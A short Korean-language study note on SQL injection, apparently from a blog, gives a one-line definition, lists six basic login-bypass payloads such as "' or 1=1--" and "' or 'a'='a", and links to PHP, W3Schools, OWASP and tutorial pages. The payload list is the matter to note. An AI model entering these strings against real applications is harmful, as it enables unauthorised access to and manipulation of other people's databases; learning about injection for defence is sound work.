SQL Injecton

SQL 삽입

(영어: SQL Injection, SQL 인젝션, SQL 주입)은 응용프로그램 보안 상의 허점을 의도적으로 이용해, 

개발자가 생각지 못한 SQL문을 실행되게 함으로써 데이터베이스를 비정상적으로 조작하는 공격 방법입니다.

기본적인 명령어

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

관련 사이트

http://php.net/manual/kr/security.database.sql-injection.php

http://www.w3schools.com/sql/sql_injection.asp

https://www.owasp.org/index.php/SQL_Injection

https://opentutorials.org/module/411/3962

Lael Rukius 블로그 -시연-

http://blog.lael.be/post/55